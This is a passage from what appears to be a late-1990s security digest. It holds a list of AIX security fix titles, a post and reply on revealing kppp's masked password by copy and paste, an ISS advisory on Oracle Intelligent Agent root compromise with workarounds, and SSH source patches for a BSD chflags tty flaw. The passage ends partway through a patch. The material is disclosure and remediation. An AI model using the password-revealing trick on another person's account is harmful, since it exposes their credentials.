IX81579  SECURITY: DON'T INHERIT CLOSED STDIN,STDOUT,STDERR DESCRIPTORS
IX82703  SECURITY:LIBNSL BUFFER OVERRUNS
IX84230  SECURITY : MAILBOX GETS CORRUPTED
IX85206  SECURITY: INSECURE TEMPORARY FILES IN CMDBSYS SCRIPTS
IX85555  SECURITY: BUFFER OVERFLOW IN FTP CLIENT
IX85599  BOOTP: CERT ADVISORY
IX86841  SVCAUTH_UNIX CRASH ON NEGATIVE NUMBER
IX87003  REMBAK FAILS WHEN INVOKED WITH VERY LONG USERNAME/HOSTNAME
IX87730  STOP UNCOMMENTING RPC DAEMONS IN /ETC/INETD.CONF AFTER NFS
IX88020  ADD FINGER TIMEOUT
IX88195  SECURITY: INSECURE TEMPORARY FILES IN CMDSNAP SCRIPTS
IX88261  SECURITY: SNAP MAY LEAK SENSITIVE INFORMATION
IX89281  SECURITY: VULNERABILITY IN INFOEXPLORER DAEMON (INFOD)
IX89893  SECURITY: BUFFER OVERFLOW IN DTSPCD
IY01573  SECURITY: NFS SCRIPTS CREATE INSECURE TEMPORARY FILES
IY01610  SECURITY: INSECURE TEMPORARY FILES IN /ETC/RC.POWERFAIL
===========================================================================
AIX 4.1 APARs

IX55363  CERT ADVISORY CA-95:17 - YPUPDATED VULNERABILITY
IX55931  CERT ADVISORY ON RPC.STATD
IX56717  DDTERM PROBLEM AND 256 BYTES LOST AT EACH FAILING OPEN.
IX57720  SECURITY PROBLEM IN SENDMAIL
IX58516  /TMP/XLOGFILE HAS WRONG PERMISSION.
IX59453  LARGE ICMP PACKETS CAN CRASH MACHINE
IX59742  RDIST HAS A SECURITY HOLE.
IX60068  /VAR/DT SECURITY PROBLEM
IX60680  SECURITY: POSSIBLE BUFFER OVERFLOW IN RWHOD
IX60873  NETWORK INTERFACES PADDING TO MINIMUM LENGTH LEAVE OLD DATA IN
IX60890  BUFFER OVERFLOW CAUSES CORE DUMP IN TZSET()
IX60894  POSSIBLE BUFFER OVERFLOW FOR TZ
IX61019  BUFFER OVERFLOW IN GETHOSTBYNAME()
IX61031  BUFFER OVERFLOW IN LIBXT.A
IX61162  CERTS VU#12851:SENDMAIL GIVES LOCAL USER ACCESS TO DEFAULT USER
IX61306  CERTS#12002:SENDMAIL LETS USER BECOME ROOT WITH CHFN COMMAND
IX62476  CERT: SYN FLOOD DENIAL-OF-SERVICE ATTACKS
IX64203  SECURITY: LQUERYPV ALLOWS NON-ROOT USER TO READ ANY FILE
IX64459  CERTS:VU#3075 SENDMAIL VULNERABILITY
IX65472  CERT: BUFFER OVERFLOW IN TALKD
IX65537  CERT: FTPD RACE CONDITION IN SIGNAL HANDLING
IX65682  SECURITY: BUFFER OVERFLOW IN /USR/SBIN/LOGIN
IX65979  /TMP/LAST_UUID SHOULD NOT BE WORLD WRITABLE AND RPC__PKT_NAME ER
IX66055  /USR/SBIN/MOUNT CREATES ROOT-OWNED CORE
IX66231  CORE DUMP FOR ILLEGAL LENGTH STRING IN SOME LVM COMMANDS
IX66340  SECURITY: LIBPATH USED FOR SETGID EXECUTABLES
IX66449  SECURITY: BUFFER OVERFLOWS IN LIBXT.A
IX66679  SECURITY: "PIPEBUG IN SENDMAIL"
IX66736  SECURITY: BUFFER OVERFLOWS IN LIBX11.A
IX66826  LIBBSD SLEEP() RACE CONDITION
IX67272  /ETC/HOSTS.EQUIV IS ALLOWING WRONG USERS TO LOGIN
IX67276  WHEN PRINCIPAL NAME EXCEEDS 1024 CHARACTERS SECD CORES
IX67317  CERT: POSSIBLE BUFFER OVERFLOW IN FINGER DAEMON
IX67407  CERT: BUFFER OVERFLOW IN NLS ENVIRONMENT VARIABLES
IX67601  SECURITY: HOSTS.EQUIV SHOULD BE IGNORED IF WORLD-WRITABLE
IX68086  SECURITY: VULNERABILITY IN RPC.PCNFSD
IX68143  SECURITY: VULNERABILITY IN SRCMSTR
IX68190  SECURITY: BUFFER OVERFLOWS IN XLOCK
IX68249  BUFFER OVERFLOWS IN /USR/SBIN/MOUNT
IX68412  RECONNECTING A TCP SOCKET CAN CRASH THE SYSTEM
IX68688  SECURITY: POSSIBLE BUFFER OVERFLOW IN GECOS HANDLING
IX68706  SECURITY: X11 RESOURCE MANAGER BUFFER OVERFLOW.
IX68749  CERT : CMSD SECURITY PROBLEM
IX68834  CORE FILE MAY CONTAIN DATA FROM OTHER USERS
IX69083  BUFFER OVERFLOW IN DTTERM.
IX69104  BUFFER OVERFLOW IN XTERM.
IX69168  SECURITY: BUFFER OVERFLOW IN WRITESRV DAEMON
IX69170  SECURITY: BUFFER OVERFLOW IN /BIN/RCP
IX69179  SECURITY: BUFFER OVERFLOW IN DTACTION
IX69698  SECURITY: BUFFER OVERFLOW IN AIXTERM
IX70029  LARGE MMAP REGION CAN RUN OUT OF PAGING SPACE AND HANG
IX70100  ONLY ALLOW LOOPBACK AS INTERFACE FOR PORTMAP REGISTER
IX70171  POSSIBLE COREDUMP IN SETUPTERM()
IX70236  SECURITY: CACHE POISONING
IX70238  SECURITY: DISALLOW SENDMAIL -C FOR USERS IN GROUP SYSTEM
IX70352  POSSIBLE COREDUMP IN TPARM() ROUTINE
IX70367  SECURITY: COPYCORE CREATES WORLD-READABLE DUMPS
IX70368  SECURITY:  BUFFER OVERFLOW IN /USR/LIB/ERRDEMON
IX70370  CERT: MKNOD RACE CONDITION AND BUFFER OVERFLOW
IX70400  REFRESHING INETD TOO MANY TIMES CAN KILL IT
IX70659  SECURITY: SYSLOG DENIAL-OF-SERVICE VULNERABILITY
IX70876  SECURITY: BUFFER OVERFLOW IN RDIST
IX70885  SECURITY: FTP CLIENT INTERPRETS SERVER PROVIDED FILENAMES
IX71125  SECURITY: RPC.MOUNTD ALLOWS FILENAME DISCOVERY
IX71366  SECURITY: DISCARD LOOPBACK PACKETS ON EXTERNAL INTERFACES
IX71391  SECURITY: BUFFER OVERFLOWS IN RNETRC()
IX71464  MAKE NSLOOKUP SUID ROOT ONLY FOR RES_INIT
IX71478  SECURITY: VULNERABILITY IN LIBISODE.A
IX71514  SECURITY: VULNERABILITY IN PIODMGRSU
IX71580  SYSTEM FILE COULD BE OVERWRITTEN BY DTAPPINTEGRATE
IX71832  SECURITY: VULNERABILITY IN I/O SIGNAL HANDLING
IX72020  SECURITY: BUFFER OVERFLOW IN XDAT
IX73075  SECURITY: FTP BOUNCE VULNERABILITY
IX73427  SECURITY: TELNET DENIAL OF SERVICE ATTACK
IX73436  SECURITY: VULNERABILITY IN DTAPPGATHER
IX73615  SECURITY: DEAD.LETTER CREATED WITH GROUP PRINTQ
IX73948  SECURITY: ROUTED SHOULD IGNORE TRACE PACKETS
IX74022  PROGRAMS USING LEX GENERATED SOURCE COREDUMPS
IX74421  CSH CORE DUMPS WHEN ENV VARIABLE IS LONGER THAN 2K
IX74457  FIXED VULNERABILITY IN DIGEST
IX74663  SEC: /USR/SBIN/MKLV SHELL SCRIPT HAS SET-UID BIT SET
IX74773  ETHERNET DRIVER PASSES PACKETS TOO SMALL CAUSING CRASH
IX75149  SECURITY:  /BIN/MAN CREATES INSECURE TEMPORARY FILES
IX76195  SECURITY HOLE IN TN3270
IX76329  SECURITY HOLE IN FTP, TFTP, UTFTP
IX76330  SECURITY: TIMEX CREATES INSECURE TEMPORARY FILES
IX76331  SECURITY: NON-ROOT USERS CAN CREATE AND BIND TO AF_NDD SOCKETS
IX76332  SECURITY: LOGSYMPTOM FOLLOWS SYMLINKS
IX76333  SECURITY: SNMPD LOG FILE FOLLOWS SYMLINKS
IX76334  SECURITY: CDE TRASHINFO FILE CREATED WORLD-WRITABLE
IX76522  PTY_SETNAME MISMANAGES THE PROCESS CREDENTIAL - 3
IX76717  SECURITY: NOTIFYMETH CREATES WORLD-WRITABLE FILES
IX76846  SECURITY: SORT CREATES INSECURE TEMPORARY FILES
IX76877  REMOVE POTENTIAL SECURITY EXPOSURE FROM NETLSD
IX76958  BIND: CERT ADVISORY CA-98.05
IX77509  CDE MAILER (DTMAIL) ALLOWS A USER TO READ A MAILBOX WHICH THE
IX77913  SECURITY: BUFFER OVERFLOWS IN XTERM AND AIXTERM.
IX78350  IFCONFIG.AT HAVE A WRONG FILE PERMISSIONS
IX78696  SECURITY: FILES IN /VAR/DT ARE CREATED INSECURELY BY CDE LOGIN
IX78711  CERT: VULNERABILITY IN YPPROC_XFR RPC
IX78956  SECURITY: BUFFER OVERFLOWS IN XAW AND XMU.
IX78957  SECURITY:LONG FONTNAMES CAN OVERFLOW BUFFERS IN FONTSERVER
IX79044  SECURITY: INSECURE TEMPORARY FILES IN DIAGSUP SCRIPTS
IX79472  SECURITY: INSECURE TEMPORARY FILES IN CMDTEXT SCRIPTS
IX80137  SECURITY: INSECURE CREATION OF LPD LOCK FILE
IX80158  SECURITY: INSECURE TEMPORARY FILES IN CMDMISC SCRIPTS
IX80160  SECURITY: INSECURE TEMPORARY FILES IN CMDNLS SCRIPTS
IX80163  SECURITY: INSECURE TEMPORARY FILES IN CMDSCCS SCRIPTS
IX80183  SECURITY: INSECURE TEMPORARY FILES IN CMDTZ SCRIPTS
IX80840  SECURITY:LIBNSL BUFFER OVERRUNS
IX80882  POST COMMAND SHOULD NOT BE SUID
IX81440  SECURITY: VULNERABILITY IN RPC.TTDBSERVERD
IX81505  SECURITY: MORE VULNERABILITIES IN PCNFSD
IX81651  SECURITY: DON'T INHERIT CLOSED STDIN,STDOUT,STDERR DESCRIPTORS
IX81914  SECURITY: BAD PERMISSIONS ON /ETC/SECURITY/LOGIN.CFG
IX83911  SVCAUTH_UNIX CRASH ON NEGATIVE NUMBER
IX83929  SECURITY: /BIN/VI CREATES INSECURE TEMPORARY FILES
IX83932  SECURITY: INSECURE TEMPORARY FILES IN CMDFILES SCRIPTS
IX83943  SECURITY: /BIN/MORE CREATES INSECURE TEMPORARY FILES
IX84640  SECURITY: VULNERABILITY IN INFOEXPLORER DAEMON (INFOD)
IX85553  SECURITY: BUFFER OVERFLOW IN FTP CLIENT
IX85598  BOOTP: CERT ADVISORY
IX85650  SECURITY: INSECURE TEMPORARY FILES IN CMDBSYS SCRIPTS
IX87728  STOP UNCOMMENTING RPC DAEMONS IN /ETC/INETD.CONF AFTER NFS
IX88018  ADD FINGER TIMEOUT
IX89806  SECURITY: BUFFER OVERFLOW IN DTSPCD
IY00254  SECURITY: NFS SCRIPTS CREATE INSECURE TEMPORARY FILES
===========================================================================

==================================
1.27-:AIX security summary (End) :
_________________________________________________________________________________________________________





_________________________________________________________________________________________________________
1.28-:Get paste kppp *'s (begin)
================================

Well alot of dial up tools do this put your password in *
so  you can let other people use your
computer and dial up and they wont know what your password
is..

But in kppp all you have to do to fix out whats UNDER the *
is just CUT and PASTE.. Thats right..
Just COPY the *'s and paste then to a term and you can see
what there password is...

I am not sure if this is a problem or what.. But there is no
reason to have the *'s if they are
so easy to get past...

btw somone might want to report this to the makers of
kppp..
--flipz

_________________________________________________________________________________________________________
1.28-:Get paste kppp *'s ; rponse (1/1) :
_________________________________________________________________________________________________________

Hi !

Tim Jones wrote:

> Well alot of dial up tools do this put your password in *
> so  you can let other people use your
> computer and dial up and they wont know what your password
> is..

Such usage is strongly discouraged. See below.

> But in kppp all you have to do to fix out whats UNDER the *
> is just CUT and PASTE.. Thats right..
> Just COPY the *'s and paste then to a term and you can see
> what there password is...

That's a bug in the password mode of the edit field appearing in Windows
Style. As from Qt 2.0 the behavior is corrected and therefore won't show
up in KDE 2.0 versions of kppp.

To work around this problem in KDE 1.x either

o switch your Desktop Style to Motif or
o apply the following patch:

--- main.cpp    1999/08/17 16:26:52     1.115.2.5
+++ main.cpp    1999/08/26 13:53:30
@@ -537,6 +537,7 @@
   l1->addWidget(PW_Label, 2, 1);

   PW_Edit= new QLineEdit(this);
+  PW_Edit->setStyle(MotifStyle);
   PW_Edit->setEchoMode(QLineEdit::Password);
   MIN_WIDTH(PW_Edit);
   FIXED_HEIGHT(PW_Edit);
@@ -1228,6 +1229,17 @@
   AccountingBase::resetCosts(s);
 }

A more elegant fix (in terms of _not_ breaking the visual appearance)
has been applied to the CVS (kppp 1.6.22) and will be present in KDE
1.1.2.

> I am not sure if this is a problem or what.. But there is no
> reason to have the *'s if they are
> so easy to get past...

Even with the pasting bug corrected it's still not recommended to setup
*your* account for someone else. The asterisks are merely a simple mean
to visually hide what is being typed. Someone with access to your
account or being in possession of your PPP login configuration will
always be able to snatch sensitive data in one way or the other.
There's always the option of not checking the "Store password" option
btw.

Harri.

================================
1.28-:Get paste kppp *'s (End)
_________________________________________________________________________________________________________








_________________________________________________________________________________________________________
1.29-:ISS Security Advisory: Additional Root Compromise Vulnerabilities in Oracle 8 (begin):
===========================================================================================


-----BEGIN PGP SIGNED MESSAGE-----

ISS Security Advisory
August 23, 1999

Additional Root Compromise Vulnerabilities in Oracle 8

Synopsis:

Internet Security Systems (ISS) X-Force has discovered additional local
vulnerabilities in the Oracle Intelligent Agent that may lead to root
compromise.  Local attackers may use these vulnerabilities to execute
arbitrary commands as root, as well as create root-owned world-writable
files anywhere on the file system.

Description:

This advisory describes additional Oracle Intelligent Agent
vulnerabilities that were not described in the ISS X-Force advisory
titled, "Root Compromise Vulnerabilities in Oracle 8."  This advisory
describes two vulnerabilities that stem from trusted environment
variables, as well as from implicit trust of rogue Oracle configuration
files.

The Intelligent Agent binary, 'dbsnmp' is a setuid root executable.  The
Intelligent Agent is a host-based agent that can be used to monitor,
configure, and maintain remote database instances with the Oracle
Enterprise manager.  The Intelligent Agent is part of the Oracle
distribution

Fix Information:

If remote database administration with the Intelligent Agent is not
required, the setuid bit on the 'dbsnmp' binary should be removed.  As
root, execute the following command:

# chmod 755 $ORACLE_HOME/bin/dbsnmp

Fix Information:

ISS X-Force has worked with Oracle to provide a patch for the
vulnerabilities described in this advisory.  This patch is available to
the public on technet.oracle.com. The direct URL is
http://technet.oracle.com/misc/agent/section.htm.

Oracle has provided the following information to answer any questions
concerning these vulnerabilities. The FAQ is available in HTML format at
http://technet.oracle.com/misc/agent/faq.htm.

1. Do I need to upgrade my databases to 8.0.5 or 8.0.6 in order to pick
   up this fix?

No! The Agent may be upgraded on its own, without affecting the version
of the databases it manages. To do this, install the Agent and the
appropriate patch in a separate Oracle Home. This Agent will be able to
manage all targets on its node, irrespective of their versions.

2. What can I do until the fix is available on my platform?

While waiting for the fix to be available on your platform, you may use
the following workaround:

Create a Unix user with normal permissions under which the Agent runs
Enterprise Manager jobs.

Note: This means all jobs submitted through the Enterprise Manager
Console will now run as the 'normal user' instead of the user specified
as preferred credentials within the Console. Additionally, the 'normal
user' will only have access to the \ORACLE_HOME\Agent directory, unless
otherwise specified by the system administrator. Finally, the Agent will
only start as the 'normal user.'

Steps to apply the workaround:

On the system on which the Agent resides, choose/create a Unix user with
normal permissions on the system. This user must not be: (A) The user who
installed the Oracle RDBMS Server and other Oracle products on the system
OR (B) A user with root privileges. The user must belong to a normal
group and not "dba".

For example:

1  Create a user "agent" belonging to group "agentgrp".
2. Install an Agent in a new Oracle Home as user "agent". Note: DO NOT
   run the root.sh script under this Oracle Home as part of this
   installation process.
3. Shutdown the old Agent.
4. Copy files from the Oracle Home of the old Agent to the Oracle Home of
   the newly installed Agent as follows:

cp $ORACLE_HOME(old)/network/agent/* $ORACLE_HOME(new)/network/agent

Important: Make sure that the user "agent" owns all files under the
$ORACLE_HOME(new)/network/agent directory.

Using a terminal window that has the environment of user "agent", start
the Agent with:

lsnrctl dbsnmp_start

For further security, job system access can be prevented if you are using
Enterprise Manager version 2.0.

To do so, log into the Enterprise Manager Console as a Super
Administrator. Using the System -> Manage Administrators option, edit the
General Preferences, deactivating 'Access to Job System' for each
Administrator you wish to prevent from using the job system.

If you are not comfortable with this workaround, you can suspend use of
the Agent until the fix is available on your platform.

ISS X-Force recommends that all administrators also complete a proactive
survey of their Oracle installations to determine which databases require
the Intelligent Agent.

Additional Information:

Dan Ingevaldson <dingevaldson@iss.net> of the ISS X-Force primarily
researched these vulnerabilities. ISS X-Force would like to thank Oracle
Corporation for their response and handling of these vulnerabilities.

________

About ISS:

ISS leads the market as the source for e-business risk management
solutions, serving as a trusted security provider to thousands of
organizations including 21 of the 25 largest U.S. commercial banks and
more than 35 government agencies. With its Adaptive Security Management
approach, ISS empowers organizations to measure and manage enterprise
security risks within Intranet, extranet and electronic commerce
environments. Its award-winning SAFEsuite(r) product line of intrusion
detection, vulnerability management and decision support solutions are
vital for protection in today's world of global connectivity, enabling
organizations to proactively monitor, detect and respond to security
risks. Founded in 1994, ISS is headquartered in Atlanta, GA with
additional offices throughout the U.S. and international operations in
Australia/New Zealand, Belgium, France, Germany, Japan, Latin America and
the UK. For more information, visit the ISS Web site at www.iss.net or
call 800-776-2362.

Copyright (c) 1999 by Internet Security Systems, Inc.

Permission is hereby granted for the redistribution of this Alert
electronically.  It is not to be edited in any way without express consent
of the X-Force.  If you wish to reprint the whole or any part of this
Alert in any other medium excluding electronic medium, please e-mail
xforce@iss.net for permission.

Disclaimer

The information within this paper may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There
are NO warranties with regard to this information. In no event shall the
author be liable for any damages whatsoever arising out of or in
connection with the use or spread of this information. Any use of this
information is at the user's own risk.

X-Force PGP Key available at: http://xforce.iss.net/sensitive.php3 as
well as on MIT's PGP key server and PGP.com's key server.

Please send suggestions, updates, and comments to: X-Force xforce@iss.net
of Internet Security Systems, Inc.


-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: noconv

iQCVAwUBN8G90zRfJiV99eG9AQE6CwP/SYY0jBqr7KT0STNjT8Kw6dCM6DTboYjj
cCTxEc5Lvp7xER2N80RxbUUBdjY+7mftSWlZi9Fi8GAWrIe0Zvmon6zXx9WFbXrh
N0ofLlrE1hKppYj4WTmAahDsp46fyA8EL9R+OjnFz+EHYTYQ0LOmtPugUXbzLKo1
WzFZUZLwwTc=
=oRM1
-----END PGP SIGNATURE-----

==========================================================================================
1.29-:ISS Security Advisory: Additional Root Compromise Vulnerabilities in Oracle 8 (End) :
_________________________________________________________________________________________________________







_________________________________________________________________________________________________________
1.30-:4.4 BSD issue -- chflags (begin) :
========================================



lumpy writes:
  : Title:
  :     BSD File Flags and Programming Techniques
  :
  : Systems Affected:
  :
  :     4.4BSD based operating systems.
  :     A majority of the programs that implement a method of login
  :     on 4.4BSD based operating systems.
  :
  :     Patches to the following are listed
  :     at the end of the advisory:
  :
  :             FreeBSD, OpenBSD, NetBSD, BSD/OS
  :
  :     Status information on the following are
  :     listed at the end of the advisory:
  :
  :             SSH, XFree86, screen
  :
  : Synopsis:
  :
  :     Programmers don't check the return values of calls
  :     and cause big security holes.
[SNIP]
  : SSH
  :     I have heard some reports that ssh(d) does not properly deal
  :     with flags set, but have no official feedback.
[SNIP]

I have made patches for ssh-2.0.13, {f-secure-ssh, ssh}-2.0.12 and
ssh-1.2.27 (this patch should work with f-secure-ssh-1.3.[67], too,
though I didn't test that).

These essentially fix this problem by clearing the user-settable flags
from the files if chown() fails, and re-trying.

The patches include information on how to apply them.

Enjoy.


Patch for problem with tty ownership with chflags and chown in BSD 4.4
variants. Fixes a security bug in tty allocation.

This patch works for ssh-2.0.13 (note: doesn't work for ssh-2.0.12. Use
patch-ssh-2.0.12-bsd.tty.chown for that).

Apply with the following commands:

% cd /wherever/you/hold/your/sources/ssh-2.0.13
% patch -p1 -l < /path/to/where/you/saved/patch-ssh-2.0.13-bsd.tty.chown
% ./configure --whatever-config-flags-you-use
% make clean
% make
% su
Password: ***********
# make install
# kill -HUP `cat /var/run/sshd2_22.pid`

You should be all set.

Sami Lehtinen <sjl@ssh.fi>

--begin patch--
diff -u --recursive -X /u/sjl/bin/diff-src-db
ssh-2.0.13.orig/apps/ssh/agentpath.c ssh-2.0.13/apps/ssh/agentpath.c
--- ssh-2.0.13.orig/apps/ssh/agentpath.c        Sun Jan 31 14:40:44 1999
+++ ssh-2.0.13/apps/ssh/agentpath.c     Wed Aug 11 15:34:03 1999
@@ -78,10 +78,16 @@
         }
       else
         {
-          (void)chown(socket_dir_name, uid, 0);
+          /* We don't do anything special if this fails. (for example,
+             in BSD's this always fails.)*/
+          if (chown(socket_dir_name, uid, 0) < 0)
+            {
+              SSH_TRACE(2, ("chown failed for %s, error: %s",   \
+                            socket_dir_name, strerror(errno)));
+            }
         }
     }
-
+
   /* Check the owner and permissions */
   if (stat(socket_dir_name, &st) != 0 || st.st_uid != uid ||
       (st.st_mode & 077) != 0)
@@ -132,8 +138,18 @@

   if (listener)
     {
-      (void)chown(path, uid, 0);
-      (void)chmod(path, S_IRUSR | S_IWUSR);
+      if (chown(path, uid, 0) < 0)
+        {
+          /* This fails always with BSD. */
+          SSH_DEBUG(2, ("chown failed for %s, error: %s",     \
+                        path, strerror(errno)));
+        }
+
+      if (chmod(path, S_IRUSR | S_IWUSR) < 0)
+        {
+          SSH_DEBUG(2, ("chmod failed for %s, error: %s",     \
+                        path, strerror(errno)));
+        }
     }
   else
     {
diff -u --recursive -X /u/sjl/bin/diff-src-db
ssh-2.0.13.orig/apps/ssh/sshchsession.c ssh-2.0.13/apps/ssh/sshchsession.c
--- ssh-2.0.13.orig/apps/ssh/sshchsession.c     Fri May  7 14:02:03 1999
+++ ssh-2.0.13/apps/ssh/sshchsession.c  Tue Aug 10 17:28:35 1999
@@ -1303,8 +1303,12 @@
   /* If we have a pseudo-terminal, log that we are now logged out. */
   if (session->have_pty)
     {
-      ssh_pty_get_name(session->stream, ptyname, sizeof(ptyname));
-      ssh_user_record_logout(ssh_pty_get_pid(session->stream), ptyname);
+      if (session->stream != NULL)
+        {
+          SSH_TRACE(2, ("Destroying session stream, and logging user out."));
+          ssh_pty_get_name(session->stream, ptyname, sizeof(ptyname));
+          ssh_user_record_logout(ssh_pty_get_pid(session->stream), ptyname);
+        }
     }

 #ifdef SSH_CHANNEL_X11
diff -u --recursive -X /u/sjl/bin/diff-src-db ssh-2.0.13.orig/configure.in
ssh-2.0.13/configure.in
--- ssh-2.0.13.orig/configure.in        Tue May 11 11:34:37 1999
+++ ssh-2.0.13/configure.in     Wed Aug 11 16:50:55 1999
@@ -851,7 +851,7 @@
 AC_CHECK_HEADERS(sys/stream.h sys/conf.h)
 AC_CHECK_FUNCS(revoke openpty _getpty setpgrp setpgid ttyslot authenticate)
 AC_CHECK_FUNCS(makeutx setlogin openpty _getpty innetgr initgroups setpgrp)
-AC_CHECK_FUNCS(signal setrlimit getrlimit setluid getpt)
+AC_CHECK_FUNCS(signal setrlimit getrlimit setluid getpt chflags)
 AC_CHECK_LIB(c, crypt, [true], AC_CHECK_LIB(crypt, crypt))
 AC_CHECK_LIB(sec, getspnam)
 AC_CHECK_LIB(seq, get_process_stats)
diff -u --recursive -X /u/sjl/bin/diff-src-db
ssh-2.0.13.orig/lib/sshsession/sshunixptystream.c
ssh-2.0.13/lib/sshsession/sshunixptystream.c
--- ssh-2.0.13.orig/lib/sshsession/sshunixptystream.c   Tue May 11 11:35:23 1999
+++ ssh-2.0.13/lib/sshsession/sshunixptystream.c        Wed Aug 11 18:04:48 1999
@@ -128,10 +128,86 @@
       tty_gid = owner_gid;
       tty_mode = S_IRUSR|S_IWUSR|S_IWGRP|S_IWOTH;
     }
-
+
+ retry_chown:
   /* Change ownership of the tty. */
-  (void)chown(namebuf, owner_uid, tty_gid);
-  (void)chmod(namebuf, tty_mode);
+  if (chown(namebuf, owner_uid, tty_gid) < 0)
+    {
+      /* chown failed. Atleast two possibilities. Either we are not
+         running as root, in which case this is OK, or we are running
+         on BSD, and somebody has put some flags to the tty. */
+
+      /* Check whether we are root or not.*/
+      if (getuid() != UID_ROOT)
+        {
+          /* We are not, and then this is OK. */
+          SSH_DEBUG(2, ("chown failed (but we're not root anyway) for " \
+                        "%s, error %s", namebuf, strerror(errno)));
+        }
+      else
+        {
+#ifdef HAVE_CHFLAGS
+          static Boolean retrying = FALSE;
+          struct stat st;
+
+          if (!retrying)
+            {
+              SSH_TRACE(0, ("chown failed for %s, error: %s. Removing "     \
+                            "user-settable flags, and retrying.",           \
+                            namebuf, strerror(errno)));
+
+              if (stat(namebuf, &st) < 0)
+                {
+                  ssh_warning("stat failed for %s, error: %s",
+                              namebuf, strerror(errno));
+                }
+              else
+                {
+                  SSH_TRACE(2, ("Removing user-settable flags with chflags."));
+                  /* Remove user definable flags. */
+                  if (chflags(namebuf, st.st_flags &
+                              ~(UF_NODUMP | UF_IMMUTABLE |
+                                UF_APPEND | UF_OPAQUE)) < 0)
+                    {
+                      SSH_TRACE(0, ("chflags failed for %s, error: %s", \
+                                    namebuf, strerror(errno)));
+                    }
+                  else
+                    {
+                      SSH_TRACE(2, ("Retrying..."));
+                      retrying = TRUE;
+                      goto retry_chown;
+                    }
+                }
+            }
+          else
+            {
+              SSH_TRACE(0, ("chown failed even with retry. error: %s",  \
+                            strerror(errno)));
+            }
+
+#endif /* HAVE_CHFLAGS */
+          ssh_warning("ssh_pty_allocate_and_fork: chown failed for %s.",
+                      namebuf);
+          return SSH_PTY_ERROR;
+        }
+    }
+
+  if (chmod(namebuf, tty_mode) < 0)
+    {
+      if (getuid() != UID_ROOT)
+        {
+          /* We are not, and then this is (probably) OK. */
+          SSH_DEBUG(2, ("chmod failed (but we're not root anyway) for " \
+                        "%s, error %s", namebuf, strerror(errno)));
+        }
+      else
+        {
+          ssh_warning("ssh_pty_allocate_and_fork: chmod %s: %s",
+                      namebuf, strerror(errno));
+          return SSH_PTY_ERROR;
+        }
+    }

   /* Initialize SIGCHLD handling.  This will ensure the SIGCHLD won't get
      delivered until we register the handler for the new process below. */
diff -u --recursive -X /u/sjl/bin/diff-src-db
ssh-2.0.13.orig/lib/sshutil/sshfilexfers.c ssh-2.0.13/lib/sshutil/sshfilexfers.c
--- ssh-2.0.13.orig/lib/sshutil/sshfilexfers.c  Tue May  4 14:05:01 1999
+++ ssh-2.0.13/lib/sshutil/sshfilexfers.c       Tue Aug 10 16:58:37 1999
@@ -328,7 +328,7 @@
         {
 #ifdef HAVE_FCHOWN
           /* Note: we ignore the return value. */
-          fchown(fd, attrs->uid, attrs->gid);
+          (void)fchown(fd, attrs->uid, attrs->gid);
 #endif /* HAVE_FCHOWN */
         }

@@ -735,7 +735,7 @@
 #endif /* HAVE_FUTIMES */
         }

-      /* XXX some operation(s) may fail (for example chmod() in BSD fails
+      /* XXX some operation(s) may fail (for example chown() in BSD fails
          always if not super-user), but that is no excuse to stop executing
          them alltogether. So, we need some system to inform the user of
          the error(s). This is not it. */
diff -u --recursive -X /u/sjl/bin/diff-src-db ssh-2.0.13.orig/sshconf.h.in
ssh-2.0.13/sshconf.h.in
--- ssh-2.0.13.orig/sshconf.h.in        Tue May 11 11:34:56 1999
+++ ssh-2.0.13/sshconf.h.in     Wed Aug 11 17:08:17 1999
@@ -287,6 +287,9 @@
 /* Define if you have the authenticate function.  */
 #undef HAVE_AUTHENTICATE

+/* Define if you have the chflags function.  */
+#undef HAVE_CHFLAGS
+
 /* Define if you have the chmod function.  */
 #undef HAVE_CHMOD

diff -u ssh-2.0.13.orig/configure ssh-2.0.13/configure
--- ssh-2.0.13.orig/configure   Tue May 11 11:34:58 1999
+++ ssh-2.0.13/configure        Wed Aug 11 17:07:05 1999
@@ -6011,7 +6011,7 @@
 fi
 done

-for ac_func in signal setrlimit getrlimit setluid getpt
+for ac_func in signal setrlimit getrlimit setluid getpt chflags
 do
 echo $ac_n "checking for $ac_func""... $ac_c" 1>&6
 echo "configure:6018: checking for $ac_func" >&5

Patch for problem with tty ownership with chflags and chown in BSD 4.4
variants. Fixes a security bug in tty allocation.

This patch works for ssh-2.0.12 (note: doesn't work for ssh-2.0.13. Use
patch-ssh-2.0.13-bsd.tty.chown for that).

Apply with the following commands:

% cd /wherever/you/hold/your/sources/ssh-2.0.12
% patch -p1 -l < /path/to/where/you/saved/patch-ssh-2.0.12-bsd.tty.chown
% ./configure --whatever-config-flags-you-use
% make clean
% make
% su
Password: ***********
# make install
# kill -HUP `cat /var/run/sshd2_22.pid`

You should be all set.

Sami Lehtinen <sjl@ssh.fi>

--begin patch--
diff -u --recursive -X /u/sjl/bin/diff-src-db
f-secure-ssh-2.0.12.orig/apps/ssh/agentpath.c
f-secure-ssh-2.0.12/apps/ssh/agentpath.c
--- f-secure-ssh-2.0.12.orig/apps/ssh/agentpath.c       Fri Oct 30 15:16:38 1998
+++ f-secure-ssh-2.0.12/apps/ssh/agentpath.c    Wed Aug 11 19:14:43 1999
@@ -78,10 +78,16 @@
         }
       else
         {
-          (void)chown(socket_dir_name, uid, 0);
+          /* We don't do anything special if this fails. (for example,
+             in BSD's this always fails.)*/
+          if (chown(socket_dir_name, uid, 0) < 0)
+            {
+              SSH_TRACE(2, ("chown failed for %s, error: %s",   \
+                            socket_dir_name, strerror(errno)));
+            }
         }
     }
-
+
   /* Check the owner and permissions */
   if (stat(socket_dir_name, &st) != 0 || st.st_uid != uid ||
       (st.st_mode & 077) != 0)
@@ -132,8 +138,18 @@

   if (listener)
     {
-      (void)chown(path, uid, 0);
-      (void)chmod(path, S_IRUSR | S_IWUSR);
+      if (chown(path, uid, 0) < 0)
+        {
+          /* This fails always with BSD. */
+          SSH_DEBUG(2, ("chown failed for %s, error: %s",     \
+                        path, strerror(errno)));
+        }
+
+      if (chmod(path, S_IRUSR | S_IWUSR) < 0)
+        {
+          SSH_DEBUG(2, ("chmod failed for %s, error: %s",     \
+                        path, strerror(errno)));
+        }
     }
   else
     {
diff -u --recursive -X /u/sjl/bin/diff-src-db
f-secure-ssh-2.0.12.orig/apps/ssh/sshchsession.c
f-secure-ssh-2.0.12/apps/ssh/sshchsession.c
--- f-secure-ssh-2.0.12.orig/apps/ssh/sshchsession.c    Mon Jan 18 12:32:24 1999
